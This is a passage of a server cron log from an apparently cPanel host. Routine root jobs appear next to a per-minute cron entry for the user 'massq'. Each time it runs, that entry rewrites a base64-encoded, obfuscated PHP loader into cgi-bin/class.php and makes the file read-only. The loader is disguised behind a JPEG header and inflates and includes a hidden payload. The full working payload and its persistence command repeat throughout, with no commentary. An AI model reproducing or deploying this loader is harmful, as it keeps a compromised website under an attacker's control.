&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:25:01 server CROND[28738]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 17:25:01 server CROND[28739]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 17:25:01 server CROND[28740]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:26:01 server CROND[29792]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:27:01 server CROND[30599]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 17:27:01 server CROND[30600]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:28:01 server CROND[31542]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:29:01 server CROND[32387]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:30:01 server CROND[701]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 17:30:01 server CROND[703]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 17:30:01 server CROND[702]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 17:30:01 server CROND[704]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:31:01 server CROND[1669]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:32:01 server CROND[2487]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:33:01 server CROND[3298]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:34:01 server CROND[4108]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:35:01 server CROND[4932]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 17:35:01 server CROND[4931]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 17:35:01 server CROND[4937]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 17:35:01 server CROND[4939]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:35:01 server CROND[4941]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 10 17:36:01 server CROND[5828]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
